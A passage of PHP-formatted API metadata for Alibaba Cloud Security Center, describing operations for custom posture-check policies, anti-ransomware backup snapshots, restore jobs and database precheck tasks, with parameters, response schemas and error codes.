starts from the **1st** page.', 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '1', ], ], [ 'name' => 'Lang', 'in' => 'query', 'schema' => [ 'description' => 'Language type for request and response messages, with a default value of **zh**. Possible values:'."\n" .'- **zh**: Chinese'."\n" .'- **en**: English'."\n", 'type' => 'string', 'required' => false, 'example' => 'zh', ], ], ], 'responses' => [ 200 => [ 'schema' => [ 'title' => 'Schema of Response', 'description' => 'Structure of the returned message.', 'type' => 'object', 'properties' => [ 'RequestId' => [ 'title' => 'Id of the request', 'description' => 'ID of the current call request, generated by Alibaba Cloud as a unique identifier for the request, which can be used for troubleshooting and problem localization.', 'type' => 'string', 'example' => 'ADE57832-9666-511C-9A80-B87DE2E8****', ], 'Policies' => [ 'description' => 'List of policies.', 'type' => 'array', 'items' => [ 'description' => 'Details of the custom policy data.', 'type' => 'object', 'properties' => [ 'PolicyId' => [ 'description' => 'Policy ID.', 'type' => 'integer', 'format' => 'int64', 'example' => '100000000001', ], 'PolicyType' => [ 'description' => 'Policy type of the custom check item rule:'."\n" .'- **STANDARD**: Standard policy type'."\n" .'- **REQUIREMENT**: Requirement policy type'."\n" .'- **SECTION**: Section policy type', 'type' => 'string', 'example' => 'STANDARD', ], 'PolicyShowName' => [ 'description' => 'Name of the custom policy.', 'type' => 'string', 'example' => 'testPolicyName', ], 'CheckType' => [ 'description' => 'Source type of the security check item:'."\n" .' - **CUSTOM**: User-defined'."\n" .' - **SYSTEM**: Predefined by the security platform', 'type' => 'string', 'example' => 'CUSTOM', ], 'Type' => [ 'description' => '关联的策略大类的名称（PolicyType取值为STANDARD时为必填）：'."\n" .'- **AISPM**：AI配置管理（AI-SPM）'."\n" .'- **KISPM**：Kubernetes配置管理(KSPM)'."\n" .'- **IDENTITY_PERMISSION**：身份权限管理(CIEM)'."\n" .'- **RISK**：安全风险'."\n" .'- **COMPLIANCE**：合规风险', 'type' => 'string', 'example' => 'AISPM'."\n", ], 'DependentPolicyId' => [ 'description' => 'The ID of the associated higher-level policy.'."\n" ."\n" .'(The specific dependency relationship, from low to high, is Section -> Requirement -> Standard)', 'type' => 'integer', 'format' => 'int64', 'example' => '100000000002', ], ], ], ], 'PageInfo' => [ 'description' => 'Paging information for the query results.', 'type' => 'object', 'properties' => [ 'CurrentPage' => [ 'description' => 'The current page number displayed in the result.', 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], 'PageSize' => [ 'description' => 'The maximum number of data entries per page when performing a paginated query.', 'type' => 'integer', 'format' => 'int32', 'example' => '20', ], 'TotalCount' => [ 'description' => 'The total number of policies queried.', 'type' => 'integer', 'format' => 'int32', 'example' => '69', ], 'Count' => [ 'description' => '分页查询时，当前页显示的数据条数。', 'type' => 'string', 'example' => '20', ], ], ], ], ], ], ], 'errorCodes' => [ 400 => [ [ 'errorCode' => 'ParamIllegal.%s', 'errorMessage' => 'The parameter %s is invalid, please fill it in again.', ], ], ], 'staticInfo' => [ 'returnType' => 'synchronous', ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"ADE57832-9666-511C-9A80-B87DE2E8****\\",\\n \\"Policies\\": [\\n {\\n \\"PolicyId\\": 100000000001,\\n \\"PolicyType\\": \\"STANDARD\\",\\n \\"PolicyShowName\\": \\"testPolicyName\\",\\n \\"CheckType\\": \\"CUSTOM\\",\\n \\"Type\\": \\"AISPM\\\\n\\",\\n \\"DependentPolicyId\\": 100000000002\\n }\\n ],\\n \\"PageInfo\\": {\\n \\"CurrentPage\\": 1,\\n \\"PageSize\\": 20,\\n \\"TotalCount\\": 69,\\n \\"Count\\": \\"20\\"\\n }\\n}","type":"json"}]', 'title' => 'Query Custom Check Item Policy Classification', 'translator' => 'machine', ], 'UpdateCheckItem' => [ 'summary' => 'User creates a custom check item', 'methods' => [ 'post', ], 'schemes' => [ 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'readAndWrite', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'create', 'riskType' => 'none', 'chargeType' => 'free', 'abilityTreeNodes' => [ 'FEATUREsas8WIQPJ', ], ], 'parameters' => [ [ 'name' => 'SectionIds', 'in' => 'query', 'style' => 'repeatList', 'schema' => [ 'description' => 'Array of section IDs associated with the check item.', 'type' => 'array', 'items' => [ 'description' => 'Section ID associated with the check item.'."\n" .'> You can call the [ListCheckPolicies](~~ListCheckPolicies~~) API to get this parameter.', 'type' => 'integer', 'format' => 'int64', 'required' => false, 'example' => '1000000000001', ], 'required' => false, 'maxItems' => 100, ], ], [ 'name' => 'Vendor', 'in' => 'query', 'schema' => [ 'description' => 'Cloud asset vendor.'."\n" .'> You can call the [ListCloudAssetSchemas](~~ListCloudAssetSchemas~~) API to get the available vendors.', 'type' => 'string', 'required' => false, 'example' => 'ALIYUN', ], ], [ 'name' => 'InstanceType', 'in' => 'query', 'schema' => [ 'description' => 'Asset type of the cloud product.'."\n" .'> You can call the [ListCloudAssetSchemas](~~ListCloudAssetSchemas~~) API to get this parameter.', 'type' => 'string', 'required' => false, 'example' => 'ECS', ], ], [ 'name' => 'InstanceSubType', 'in' => 'query', 'schema' => [ 'description' => 'Sub-asset type of the cloud product.'."\n" .'> You can call the [ListCloudAssetSchemas](~~ListCloudAssetSchemas~~) API to get this parameter.', 'type' => 'string', 'required' => false, 'example' => 'DISK', ], ], [ 'name' => 'CheckShowName', 'in' => 'query', 'schema' => [ 'description' => 'Name of the custom check item.', 'type' => 'string', 'required' => false, 'example' => 'testCheckItemName', ], ], [ 'name' => 'RiskLevel', 'in' => 'query', 'schema' => [ 'description' => 'Risk level of the check item. Values:'."\n" .'- **HIGH**: High risk'."\n" .'- **MEDIUM**: Medium risk'."\n" .'- **LOW**: Low risk', 'type' => 'string', 'required' => false, 'example' => 'high', ], ], [ 'name' => 'Status', 'in' => 'query', 'schema' => [ 'description' => 'Status of the check item. Values:'."\n" .'- **EDIT**: In editing'."\n" .'- **RELEASE**: Released'."\n" ."\n" .'> - Changing from **Released** to **In editing** will clear all historical records'."\n" .'> - Only the **Released** status allows the use of the check item for inspection.', 'type' => 'string', 'required' => false, 'example' => 'RELEASE', 'enum' => [ 'RELEASE', 'EDIT', ], ], ], [ 'name' => 'Remark', 'in' => 'query', 'schema' => [ 'description' => 'Remark information', 'type' => 'string', 'required' => false, 'example' => 'remark.', ], ], [ 'name' => 'Description', 'in' => 'query', 'style' => 'json', 'schema' => [ 'description' => 'Description of the check item.', 'type' => 'object', 'properties' => [ 'Type' => [ 'description' => 'Type of the check item description. Values:'."\n" ."\n" .'- **text**: Text', 'type' => 'string', 'required' => false, 'example' => 'text', ], 'Value' => [ 'description' => 'Description of the check item.', 'type' => 'string', 'required' => false, 'example' => 'custom description.'."\n", ], ], 'required' => false, ], ], [ 'name' => 'AssistInfo', 'in' => 'query', 'style' => 'json', 'schema' => [ 'description' => 'Help information for the check item.', 'type' => 'object', 'properties' => [ 'Type' => [ 'description' => 'Type of the help information for the check item risk. Values:'."\n" ."\n" .'- **text**: Text', 'type' => 'string', 'required' => false, 'example' => 'text', ], 'Value' => [ 'description' => 'Content of the help information for the check item risk.', 'type' => 'string', 'required' => false, 'example' => 'custom assistInfo.'."\n", ], ], 'required' => false, ], ], [ 'name' => 'Solution', 'in' => 'query', 'style' => 'json', 'schema' => [ 'description' => 'Solution information for the check item.', 'type' => 'object', 'properties' => [ 'Type' => [ 'description' => 'Type of the solution information for the check item. Values:'."\n" ."\n" .'- **text**: Text', 'type' => 'string', 'required' => false, 'example' => 'text', ], 'Value' => [ 'description' => 'Content of the solution for the check item risk.', 'type' => 'string', 'required' => false, 'example' => 'custom solution.', ], ], 'required' => false, ], ], [ 'name' => 'CheckRule', 'in' => 'query', 'schema' => [ 'description' => 'Definition rule for the custom check item.', 'type' => 'string', 'required' => false, 'example' => '{"AssociatedData":{"ToDataList":[{"DataName":"ACS_ECS_Instance","PropertyPath":"InstanceId","FromPropertyPath":"InstanceId"}]},"MatchProperty":{"Operator":"AND","MatchProperties":[{"DataName":"ACS_ECS_Disk","PropertyPath":"InstanceId","MatchOperator":"EQ","MatchPropertyValue":"testId"},{"DataName":"ACS_ECS_Instance","PropertyPath":"InstanceId","MatchOperator":"EQ","MatchPropertyValue":"testInstanceId"}]}}', ], ], [ 'name' => 'CheckId', 'in' => 'query', 'schema' => [ 'description' => 'ID of the custom check item to be updated.'."\n" .'> You can call the [ListCheckItems](~~ListCheckItems~~) API to get this parameter.', 'type' => 'integer', 'format' => 'int64', 'required' => true, 'example' => '10000000001', ], ], ], 'responses' => [ 200 => [ 'schema' => [ 'title' => 'Schema of Response', 'description' => 'Data body returned by the interface.', 'type' => 'object', 'properties' => [ 'RequestId' => [ 'title' => 'Id of the request', 'description' => 'ID of the current request, which is a unique identifier generated by Alibaba Cloud for this request and can be used for troubleshooting and problem localization.', 'type' => 'string', 'example' => 'CE500770-42D3-442E-9DDD-156E0F9F****', ], 'Data' => [ 'description' => 'Return data.', 'type' => 'object', 'properties' => [ 'CheckId' => [ 'description' => 'ID of the updated check item.', 'type' => 'integer', 'format' => 'int64', 'example' => '10000000001', ], ], ], ], ], ], ], 'errorCodes' => [ 400 => [ [ 'errorCode' => 'ParamIllegal.%s', 'errorMessage' => 'The parameter %s is invalid, please fill it in again.', ], [ 'errorCode' => 'CspmParamOverSize', 'errorMessage' => 'The parameter is too long.', ], [ 'errorCode' => 'NoPurchase', 'errorMessage' => 'The user did not purchase this product.', ], [ 'errorCode' => 'CspmCheckCustomItemSectionsError', 'errorMessage' => 'The chapter associated with the custom check item does not exist.', ], [ 'errorCode' => 'CspmUpdateCheckCustomItemStatusError', 'errorMessage' => 'Update custom check item status exception.', ], [ 'errorCode' => 'CspmVerifyItemRuleError.%s', 'errorMessage' => 'Audit check item check rule error: %s.', ], [ 'errorCode' => 'CspmUpdateCheckCustomItemError', 'errorMessage' => 'Failed to update custom check.', ], ], ], 'staticInfo' => [ 'returnType' => 'synchronous', ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"CE500770-42D3-442E-9DDD-156E0F9F****\\",\\n \\"Data\\": {\\n \\"CheckId\\": 10000000001\\n }\\n}","type":"json"}]', 'title' => 'Update Custom Check Item', 'translator' => 'machine', ], 'DeleteCheckPolicy' => [ 'summary' => 'Delete custom scope directories in Cloud Security Posture Management (CSPM) custom checks. You can remove assigned standards, requirements, or sections.', 'path' => '', 'methods' => [ 'post', ], 'schemes' => [ 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'readAndWrite', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'delete', 'riskType' => 'none', 'chargeType' => 'free', 'abilityTreeNodes' => [ 'FEATUREsas8WIQPJ', ], ], 'parameters' => [ [ 'name' => 'PolicyIds', 'in' => 'query', 'style' => 'repeatList', 'schema' => [ 'description' => 'Array of policies to delete'."\n", 'type' => 'array', 'items' => [ 'description' => 'The ID of the deleted policy.'."\n" ."\n" .'> You can call the [ListCheckPolicies](~~ListCheckPolicies~~) to obtain the policy ID.'."\n", 'type' => 'integer', 'format' => 'int64', 'required' => false, 'example' => '100000000001', ], 'required' => true, 'maxItems' => 100, ], ], [ 'name' => 'PolicyType', 'in' => 'query', 'schema' => [ 'description' => 'Policy type for custom check rule:'."\n" ."\n" .'* **STANDARD**: Standard-level policy'."\n" .'* **REQUIREMENT**: Requirement-level policy'."\n" .'* **SECTION**: Section-level policy'."\n", 'type' => 'string', 'required' => true, 'example' => 'STANDARD', ], ], ], 'responses' => [ 200 => [ 'schema' => [ 'title' => 'Schema of Response', 'description' => 'The response parameters.'."\n", 'type' => 'object', 'properties' => [ 'RequestId' => [ 'title' => 'Id of the request', 'description' => 'The unique ID of the request, which is used to locate and troubleshoot issues.'."\n", 'type' => 'string', 'example' => 'F8B6F758-BCD4-597A-8A2C-DA5A552C****', ], 'Policys' => [ 'description' => 'List of deleted policy details.'."\n", 'type' => 'array', 'items' => [ 'description' => 'Deleted policy details.'."\n", 'type' => 'object', 'properties' => [ 'PolicyId' => [ 'description' => 'Deleted policy ID.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '1000000000001', ], 'PolicyType' => [ 'description' => 'Policy type for custom check rule:'."\n" ."\n" .'* **STANDARD**: Standard-level policy'."\n" .'* **REQUIREMENT**: Requirement-level policy'."\n" .'* **SECTION**: Section-level policy'."\n", 'type' => 'string', 'example' => 'STANDARD', ], 'PolicyShowName' => [ 'description' => 'The name of the custom policy.'."\n", 'type' => 'string', 'example' => 'testPolicyName', ], ], ], ], ], ], ], ], 'errorCodes' => [ 400 => [ [ 'errorCode' => 'ParamIllegal.%s', 'errorMessage' => 'The parameter %s is invalid, please fill it in again.', ], [ 'errorCode' => 'CspmDeleteCustomPolicyError', 'errorMessage' => 'The dependent policy needs to be disassociated.', ], ], ], 'staticInfo' => [ 'returnType' => 'synchronous', ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"F8B6F758-BCD4-597A-8A2C-DA5A552C****\\",\\n \\"Policys\\": [\\n {\\n \\"PolicyId\\": 1000000000001,\\n \\"PolicyType\\": \\"STANDARD\\",\\n \\"PolicyShowName\\": \\"testPolicyName\\"\\n }\\n ]\\n}","type":"json"}]', 'title' => 'DeleteCheckPolicy', ], 'DeleteBackupSnapshot' => [ 'summary' => 'Deletes a backup snapshot that is created for anti-ransomware.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'write', 'systemTags' => [ 'operationType' => 'delete', 'riskType' => 'none', 'chargeType' => 'free', 'abilityTreeCode' => '199568', 'abilityTreeNodes' => [ 'FEATUREsas7JO011', ], ], 'parameters' => [ [ 'name' => 'RetainLatestSnapshot', 'in' => 'query', 'schema' => [ 'description' => 'Specifies whether to retain the latest snapshot. Valid values:'."\n" ."\n" .'* **true**'."\n" .'* **false**'."\n", 'type' => 'boolean', 'required' => false, 'example' => 'true', ], ], [ 'name' => 'BackupSnapshotList', 'in' => 'query', 'style' => 'repeatList', 'schema' => [ 'description' => 'The backup snapshots.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The information about the backup snapshot.'."\n", 'type' => 'object', 'properties' => [ 'SnapshotId' => [ 'description' => 'The ID of the snapshot that you want to delete.'."\n" ."\n" .'> You can call the [DescribeSnapshots](~~DescribeSnapshots~~) operation to query the ID.'."\n", 'type' => 'string', 'required' => true, 'example' => 's-000f9p6r5trm6u4dc1iq', ], 'ClientId' => [ 'description' => 'The ID of the Cloud Backup client.'."\n" ."\n" .'> You can call the [DescribeSnapshots](~~DescribeSnapshots~~) operation to query the ID.'."\n", 'type' => 'string', 'required' => true, 'example' => 'c-000a4h33w14ka8xagb2s', ], 'VaultId' => [ 'description' => 'The ID of the backup vault that is used in the restoration task.'."\n" ."\n" .'> You can call the [DescribeSnapshots](~~DescribeSnapshots~~) operation to query the ID.'."\n", 'type' => 'string', 'required' => true, 'example' => 'v-0004vhwcs2pmacfzrzt5', ], 'SourceType' => [ 'description' => 'The type of the data source. Valid values:'."\n" ."\n" .'* **ECS_FILE**: Elastic Compute Service (ECS) files.'."\n" .'* **OSS**: Object Storage Service (OSS) buckets.'."\n" .'* **NAS**: File Storage NAS (NAS) file systems.'."\n" .'* **OTS_TABLE**: Tablestore instances.', 'type' => 'string', 'required' => true, 'example' => 'ECS_FILE', ], 'InstanceId' => [ 'description' => 'The ID of the server.'."\n", 'type' => 'string', 'required' => true, 'example' => 'i-j6cj8vyajp1fo4atxkae', ], 'RegionId' => [ 'description' => 'The region in which Security Center is deployed. Valid values:'."\n" ."\n" .'* **cn-hangzhou**: China (Hangzhou).'."\n" .'* **ap-southeast-1**: Singapore.'."\n" .'* **cn-beijing**: China (Beijing).'."\n", 'type' => 'string', 'required' => true, 'example' => 'cn-beijing', ], ], 'required' => false, ], 'required' => false, 'maxItems' => 50, ], ], [ 'name' => 'BackupRegionIdList', 'in' => 'query', 'style' => 'repeatList', 'schema' => [ 'description' => 'The regions for backup.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The region.'."\n", 'type' => 'string', 'required' => false, 'example' => 'cn-hangzhou', ], 'required' => false, 'maxItems' => 100, ], ], ], 'responses' => [ 200 => [ 'schema' => [ 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The request ID.'."\n", 'type' => 'string', 'example' => '7BC55C8F-226E-5AF5-9A2C-2EC43864****', ], ], 'description' => '', ], ], ], 'errorCodes' => [ 400 => [ [ 'errorCode' => 'CannotDeleteLatestSnapshot', 'errorMessage' => 'Can not delete latest snapshot.', ], ], 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'eventInfo' => [ 'enable' => false, 'eventNames' => [], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"7BC55C8F-226E-5AF5-9A2C-2EC43864****\\"\\n}","type":"json"}]', 'title' => 'DeleteBackupSnapshot', ], 'CreateRestoreJob' => [ 'summary' => 'Creates a restoration task.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'readAndWrite', 'systemTags' => [ 'operationType' => 'create', ], 'parameters' => [ [ 'name' => 'Uuid', 'in' => 'query', 'schema' => [ 'description' => 'The UUID of the server whose data you want to restore.'."\n", 'type' => 'string', 'required' => true, 'example' => 'inet-ecs-4e876cb0-09f7-43b8-82ef-4bc7a93769b5', ], ], [ 'name' => 'SnapshotId', 'in' => 'query', 'schema' => [ 'description' => 'The ID of the snapshot that you want to use for restoration.'."\n" ."\n" .'> You can call the [DescribeSnapshots](~~DescribeSnapshots~~) operation to obtain the value of this parameter.'."\n", 'type' => 'string', 'required' => true, 'example' => 's-00023dhaatxp18mh****', ], ], [ 'name' => 'SnapshotHash', 'in' => 'query', 'schema' => [ 'description' => 'The hash value of the snapshot.'."\n" ."\n" .'> You can call the [DescribeSnapshots](~~DescribeSnapshots~~) operation to obtain the value of this parameter.'."\n", 'type' => 'string', 'required' => true, 'example' => 'd4b399edaad94b038e8f91873f19e3eae010ca30798fc36db3a164dd343f****', ], ], [ 'name' => 'Target', 'in' => 'query', 'schema' => [ 'description' => 'The path to which you want to restore data.'."\n", 'type' => 'string', 'required' => true, 'example' => '/root/testfls', ], ], [ 'name' => 'SourceType', 'in' => 'query', 'schema' => [ 'description' => 'The type of the data source. Valid values:'."\n" ."\n" .'* **ECS_FILE**: backup snapshots for Elastic Compute Service (ECS) files'."\n" .'* **File**: backup snapshots for on-premises servers'."\n", 'type' => 'string', 'required' => false, 'example' => 'ECS_FILE', ], ], [ 'name' => 'VaultId', 'in' => 'query', 'schema' => [ 'description' => 'The ID of the backup vault that is used in the restoration task.'."\n" ."\n" .'> You can call the [DescribeSnapshots](~~DescribeSnapshots~~) operation to obtain the value of this parameter.'."\n", 'type' => 'string', 'required' => true, 'example' => 'v-0002n12wokck2q0x****', ], ], [ 'name' => 'SnapshotVersion', 'in' => 'query', 'schema' => [ 'description' => 'The version of the backup data.'."\n" ."\n" .'> You can call the [DescribeSnapshots](~~DescribeSnapshots~~) operation to obtain the value of this parameter.'."\n", 'type' => 'string', 'required' => true, 'example' => '165570544****', ], ], [ 'name' => 'Includes', 'in' => 'query', 'schema' => [ 'description' => 'The directory in which the files included in the restoration task are located. This parameter is specified when you create the anti-ransomware policy. The value is a directory that requires protection.'."\n", 'type' => 'string', 'required' => true, 'example' => '["root"]', ], ], ], 'responses' => [ 200 => [ 'schema' => [ 'description' => 'The data returned.'."\n", 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The ID of the request, which is used to locate and troubleshoot issues.'."\n", 'type' => 'string', 'example' => 'BD4B24CE-E5C4-5727-B731-BE85F1D4****', ], ], ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"BD4B24CE-E5C4-5727-B731-BE85F1D4****\\"\\n}","type":"json"}]', 'title' => 'CreateRestoreJob', ], 'UninstallUniBackupAgent' => [ 'summary' => 'Uninstalls the database backup agent.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'readAndWrite', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'none', ], 'parameters' => [ [ 'name' => 'PolicyId', 'in' => 'query', 'schema' => [ 'description' => 'The ID of the anti-ransomware policy.'."\n" ."\n" .'> You can call the [DescribeUniBackupPolicies](~~DescribeUniBackupPolicies~~) operation to query the IDs of anti-ransomware policies.'."\n", 'type' => 'integer', 'format' => 'int64', 'required' => true, 'example' => '123', ], ], ], 'responses' => [ 200 => [ 'headers' => [], 'schema' => [ 'description' => 'The data returned.'."\n", 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The ID of the request, which is used to locate and troubleshoot issues.'."\n", 'type' => 'string', 'example' => '9D97AFC3-AA58-5B8F-BBC4-16D7D8AB****', ], ], ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"9D97AFC3-AA58-5B8F-BBC4-16D7D8AB****\\"\\n}","type":"json"}]', 'title' => 'UninstallUniBackupAgent', ], 'StartPreCheckDatabase' => [ 'summary' => 'Starts a database precheck task.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'readAndWrite', 'systemTags' => [ 'operationType' => 'update', 'abilityTreeCode' => '92446', 'abilityTreeNodes' => [ 'FEATUREsasK0Q1Y8', ], 'tenantRelevance' => 'publicInformation', ], 'parameters' => [ [ 'name' => 'DatabaseType', 'in' => 'query', 'schema' => [ 'description' => 'The type of the database. Valid values:'."\n" ."\n" .'* **MYSQL**'."\n" .'* **MSSQL**'."\n" .'* **Oracle**'."\n", 'type' => 'string', 'required' => true, 'example' => 'MYSQL', ], ], [ 'name' => 'UniRegionId', 'in' => 'query', 'schema' => [ 'description' => 'The region ID of the server that hosts the database.'."\n", 'type' => 'string', 'required' => true, 'example' => 'cn-hongkong', ], ], [ 'name' => 'InstanceUuid', 'in' => 'query', 'schema' => [ 'description' => 'The UUID of the agent that is used to back up the data of the database.'."\n" ."\n" .'> You can call the [DescribeUniBackupDatabase](~~DescribeUniBackupDatabase~~) operation to query the UUID.'."\n", 'type' => 'string', 'required' => true, 'example' => 'ec1c0ba21d2911ed800000163e0e****', ], ], ], 'responses' => [ 200 => [ 'headers' => [], 'schema' => [ 'description' => 'The data returned.'."\n", 'type' => 'object', 'properties' => [ 'CreateMark' => [ 'description' => 'The ID of the database precheck task.'."\n", 'type' => 'string', 'example' => 't-0006d4pydyir6l1k****', ], 'RequestId' => [ 'description' => 'The ID of the request, which is used to locate and troubleshoot issues.'."\n", 'type' => 'string', 'example' => 'F6DC2DFF-AB3A-563A-8FC2-3D0D991E****', ], ], ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"CreateMark\\": \\"t-0006d4pydyir6l1k****\\",\\n \\"RequestId\\": \\"F6DC2DFF-AB3A-563A-8FC2-3D0D991E****\\"\\n}","type":"json"}]', 'title' => 'StartPreCheckDatabase', ], 'StartDiscoverDatabaseTask' => [ 'summary' => 'Starts a database scan task.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'readAndWrite', 'systemTags' => [ 'operationType' => 'update', 'abilityTreeCode' => '92443', 'abilityTreeNodes' => [ 'FEATUREsasU76LC1', ], 'tenantRelevance' => 'publicInformation', ], 'parameters' => [], 'responses' => [ 200 => [ 'headers' => [], 'schema' => [ 'description' => 'The data returned.'."\n", 'type' => 'object', 'properties' => [ 'CreateMark' => [ 'description' => 'The ID of the scan task.'."\n", 'type' => 'string', 'example' => '48bced6d-2aee-4fa2-9aba-b846b77b****', ], 'RequestId' => [ 'description' => 'The ID of the request, which is used to locate and troubleshoot issues.'."\n", 'type' => 'string', 'example' => 'F46921AF-CC55-5971-92C9-7E09E160****', ], ], ], ], ], 'errorCodes' => [ 400 => [ [ 'errorCode' => 'TaskIsProcessing', 'errorMessage' => 'Task Is Processing.', ], ], 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"CreateMark\\": \\"48bced6d-2aee-4fa2-9aba-b846b77b****\\",\\n \\"RequestId\\": \\"F46921AF-CC55-5971-92C9-7E09E160****\\"\\n}","type":"json"}]', 'title' => 'StartDiscoverDatabaseTask', ], 'QueryPreCheckDatabase' => [ 'summary' => 'Queries the result of a database precheck task.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'systemTags' => [ 'operationType' => 'get', ], 'parameters' => [ [ 'name' => 'TaskId', 'in' => 'query', 'schema' => [ 'description' => 'The ID of the database precheck task.'."\n" ."\n" .'> You can call the [StartPreCheckDatabase](~~StartPreCheckDatabase~~) operation to query the ID of the database precheck task.'."\n", 'type' => 'string', 'required' => false, 'example' => 't-000bc9nqwxsbyvod****', ], ], [ 'name' => 'InstanceUuid', 'in' => 'query', 'schema' => [ 'description' => 'The UUID of the agent that is used to back up the data of the database.'."\n" ."\n" .'> You can call the [DescribeUniBackupDatabase](~~DescribeUniBackupDatabase~~) operation to query the UUID.'."\n", 'type' => 'string', 'required' => false, 'example' => 'ebc895506c6911ed800000163e0e****', ], ], [ 'name' => 'UniRegionId', 'in' => 'query', 'schema' => [ 'description' => 'The region ID of the server that hosts the database.'."\n", 'type' => 'string', 'required' => true, 'example' => 'cn-hangzhou', ], ], ], 'responses' => [ 200 => [ 'headers' => [], 'schema' => [ 'description' => 'The data returned.'."\n", 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The ID of the request, which is used to locate and troubleshoot issues.'."\n", 'type' => 'string', 'example' => 'CE500770-42D3-442E-9DDD-156E0F9F****', ], 'Progress' => [ 'description' => 'The precheck progress in percentage. Valid values: 0 to 100.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '100', ], 'Result' => [ 'description' => 'The result of the precheck task. The value is a JSON string that contains the following fields:'."\n" ."\n" .'* **instanceId**: the ID of the server that hosts the database'."\n" ."\n" .'* **checkTime**: the precheck time'."\n" ."\n" .'* **sourceType**: the database type'."\n" ."\n" .'* **results**: the precheck item and result'."\n" ."\n" .' * **item**: the precheck item'."\n" .' * **result**: the precheck result'."\n" ."\n" .'> The following section describes the precheck items:'."\n" ."\n" .'* MSSQL'."\n" ."\n" .' * **OSS_INTERNAL_ENDPOINT_CONNECTIVITY**: OSS connectivity check'."\n" .' * **SERVICE_CONNECTIVITY**: control network connectivity check'."\n" .' * **SQL_SERVER_DB_IN_SIMPLE_RECOVERY_MODE**: recovery mode check'."\n" .' * **SQL_SERVER_DB_NOT_ONLINE**: SQL Server database status check'."\n" ."\n" .'* ORACLE'."\n" ."\n" .' * **OSS_INTERNAL_ENDPOINT_CONNECTIVITY**: OSS connectivity check'."\n" .' * **SERVICE_CONNECTIVITY**: control network connectivity check'."\n" .' * **ORACLE_INSTANCE_STATUS**: Oracle instance status check'."\n" .' * **ORACLE_DB_STATUS**: Oracle database status check'."\n" .' * **ARCHIVELOG**: archive mode check'."\n" ."\n" .'* MYSQL'."\n" ."\n" .' * **OSS_INTERNAL_ENDPOINT_CONNECTIVITY**: OSS connectivity check'."\n" .' * **SERVICE_CONNECTIVITY**: control network connectivity check'."\n" .' * **MYSQL_VERSION**: Supports full backup version checking'."\n" .' * **MYSQL_BINLOG**: BINLOG check'."\n", 'type' => 'string', 'example' => '['."\n" .' {'."\n" .' "instanceId": "i-wz91if83t97xgtn2****",'."\n" .' "checkTime": 1671245753,'."\n" .' "sourceType": "MSSQL",'."\n" .' "results":'."\n" .' ['."\n" .' {'."\n" .' "item": "OSS_INTERNAL_ENDPOINT_CONNECTIVITY",'."\n" .' "result": "PASSED"'."\n" .' },'."\n" .' {'."\n" .' "item": "SERVICE_CONNECTIVITY",'."\n" .' "result": "PASSED"'."\n" .' },'."\n" .' {'."\n" .' "item": "SQL_SERVER_DB_IN_SIMPLE_RECOVERY_MODE",'."\n" .' "result": "WARNING"'."\n" .' },'."\n" .' {'."\n" .' "item": "SQL_SERVER_DB_NOT_ONLINE",'."\n" .' "result": "PASSED"'."\n" .' }'."\n" .' ]'."\n" .' }'."\n" .']', ], 'CompletedTime' => [ 'description' => 'The time when the precheck task was complete.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '1657524396', ], 'Description' => [ 'description' => 'The status of the precheck task. Valid values:'."\n" ."\n" .'* **completed**: complete'."\n" .'* **created**: started'."\n" .'* **error**: failed'."\n", 'type' => 'string', 'example' => 'completed', ], 'UpdatedTime' => [ 'description' => 'The time when the precheck task was last updated.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '1671084106', ], 'CreatedTime' => [ 'description' => 'The time when 